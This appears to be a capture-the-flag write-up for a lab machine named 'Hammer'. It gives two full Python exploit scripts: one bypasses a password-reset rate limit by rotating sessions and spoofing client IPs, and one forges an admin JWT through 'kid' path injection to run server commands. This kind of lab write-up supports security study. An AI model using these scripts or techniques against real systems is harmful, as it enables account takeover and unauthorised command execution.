Hammer

December 23, 2025

1. Reconnaissance & Discovery

Upon inspecting the source code of the login page, a developer note was found hinting at a directory naming convention: hmr_DIRECTORY_NAME.

Using this hint, we fuzzed for directories using the pattern hmr_FUZZ and discovered several hidden paths, including hmr_logs. Exploring the application further revealed a password reset functionality at /reset_password.php that required a 4-digit recovery code.

Attempting to brute-force the code resulted in a “Rate limit exceeded” error.


2. Authentication Bypass (Logic Flaw)

The rate limiting mechanism tracked the number of attempts per Session ID (PHPSESSID). Instead of brute-forcing 10,000 codes against one session (which gets blocked), we inverted the attack:

  • The Strategy: We picked one arbitrary code (e.g., 1337) and kept requesting new sessions.

  • The Logic: We spammed requests, rotating the session cookie every time, waiting for the server to randomly generate a session where the recovery code happened to be 1337.

We used the following script to automate this “Single-Shot Collision” attack:

Exploit Script: exploit_bypass_auth.py

Python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import sys
import random
import requests

TARGET_URL = "http://10.67.164.162:1337/reset_password.php"
TARGET_EMAIL = "tester@hammer.thm"

# We bet on this single code appearing
MAGIC_CODE = "1337" 

INVALID_MSG = "Invalid or expired recovery code"

def get_headers():
    """Spoof IP to avoid network-level bans"""
    ip = f"{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}.{random.randint(1, 255)}"
    return {
        "X-Forwarded-For": ip,
        "Client-IP": ip,
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64) Hammer/1.0",
    }

def attack():
    counter = 0
    print("[*] = Starting Single-Shot Attack.")
    print(f"[*] = Target: {TARGET_EMAIL}")
    print(f"[*] = Betting on Code: {MAGIC_CODE}")
    print("------------------------------------------------")

    while True:
        counter += 1
        s = requests.Session()
        try:
            # Trigger new OTP generation
            s.post(TARGET_URL, data={"email": TARGET_EMAIL}, headers=get_headers(), timeout=5)

            if "PHPSESSID" not in s.cookies:
                continue

            # Try our magic code against this new session
            payload = {"recovery_code": MAGIC_CODE, "s": "180"}
            resp = s.post(TARGET_URL, data=payload, headers=get_headers(), timeout=5)

            # If the error message is gone, we collided successfully
            if INVALID_MSG not in resp.text and resp.status_code == 200:
                print(f"[!] The Valid Code was: {MAGIC_CODE}")
                print(f"[!] Session ID: {s.cookies['PHPSESSID']}")
                print(f"[!] Attempts needed: {counter}")

                with open("winning_session.txt", "w") as f:
                    f.write(f"Cookie: PHPSESSID={s.cookies['PHPSESSID']}\nCode: {MAGIC_CODE}")
                sys.exit(0)

            sys.stdout.write(f"\r[*] Attempts: {counter} | Trying {MAGIC_CODE} against new sessions...")
            sys.stdout.flush()

        except requests.RequestException:
            pass
        except KeyboardInterrupt:
            print("\n[!] Stopped by user.")
            sys.exit(0)

if __name__ == "__main__":
    attack()

Result: The script successfully recovered a valid session. We replaced our browser cookie with the winning PHPSESSID, logged in, and retrieved the first flag.


3. Privilege Escalation & RCE (JWT Injection)

The dashboard allowed us to execute commands, but only if our role was “admin”. Our current role was “user”.

Analyzing the JWT token, we noticed the header parameter:

“kid”: “/var/www/mykey.key”

This indicated the server uses the file path specified in kid to load the secret key for signature verification.

The Attack Vector

We attempted to modify kid to point to /dev/null (an empty file) and sign the token with an empty string. However, the server returned:

“error”:“Invalid token: Key material must not be empty”

The Fix: Static File Injection

To bypass the “empty key” check, we pointed the kid to a static file we knew existed on the server: vendor/firebase/php-jwt/LICENSE.

  1. Server Behavior: Reads /var/www/html/vendor/firebase/php-jwt/LICENSE and uses its text as the secret key.

  2. Attacker Behavior: We download the same LICENSE file and use its content to sign our forged admin token.

We used the following script to forge the token and execute commands:

Exploit Script: jwt_token.py

Python

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import requests
import hmac
import hashlib
import base64
import json
import sys

# === CONFIGURATION ===
TARGET_URL = "http://10.67.164.162:1337"
LOGIN_URL = f"{TARGET_URL}/index.php"
CMD_URL = f"{TARGET_URL}/execute_command.php"
EMAIL = "tester@hammer.thm"
PASS = "1234"

# We point 'kid' to a known static file on the server
PUBLIC_KEY_URL = f"{TARGET_URL}/vendor/firebase/php-jwt/LICENSE"
INTERNAL_KEY_PATH = "/var/www/html/vendor/firebase/php-jwt/LICENSE"

# Command to retrieve the final flag
COMMAND = "cat /home/ubuntu/flag.txt"

def base64url_encode(data):
    return base64.urlsafe_b64encode(json.dumps(data).encode()).decode().rstrip("=")

def forge_token(original_token_str, secret_content):
    try:
        header_b64, payload_b64, sig_b64 = original_token_str.split(".")

        # 1. Set 'kid' to the path of the LICENSE file
        evil_header = {"typ": "JWT", "alg": "HS256", "kid": INTERNAL_KEY_PATH}

        # 2. Escalate role to 'admin'
        padding = "=" * (4 - len(payload_b64) % 4)
        payload_data = json.loads(base64.urlsafe_b64decode(payload_b64 + padding))
        if "data" in payload_data:
            payload_data["data"]["role"] = "admin"
        else:
            payload_data["role"] = "admin"

        # 3. Sign the token using the LICENSE file content
        new_header_b64 = base64url_encode(evil_header)
        new_payload_b64 = base64url_encode(payload_data)
        signature_base = f"{new_header_b64}.{new_payload_b64}".encode()

        signature = hmac.new(secret_content, signature_base, hashlib.sha256).digest()
        new_sig_b64 = base64.urlsafe_b64encode(signature).decode().rstrip("=")

        return f"{new_header_b64}.{new_payload_b64}.{new_sig_b64}"

    except Exception as e:
        print(f"[-] Error forging token: {e}")
        sys.exit(1)

def main():
    s = requests.Session()

    # 1. Download the Key Material (The License File)
    print(f"[*] Fetching secret key from {PUBLIC_KEY_URL}...")
    key_resp = requests.get(PUBLIC_KEY_URL)
    secret_key = key_resp.content

    # 2. Login to get a valid initial session
    print(f"[*] Logging in as {EMAIL}...")
    s.post(LOGIN_URL, data={"email": EMAIL, "password": PASS})
    user_token = s.cookies["token"]

    # 3. Forge Token
    print("[*] Forging Admin Token using LICENSE file as secret...")
    admin_token = forge_token(user_token, secret_key)

    # 4. Execute Command
    print(f"[*] Executing command: {COMMAND}")
    headers = {
        "Authorization": f"Bearer {admin_token}",
        "Content-Type": "application/json",
    }
    resp = s.post(CMD_URL, json={"command": COMMAND}, headers=headers)

    print("\n" + "=" * 40)
    print(resp.text)
    print("=" * 40)

if __name__ == "__main__":
    main()

Result: The script successfully escalated privileges to Admin and executed cat /home/ubuntu/flag.txt, revealing the final flag.

Categories: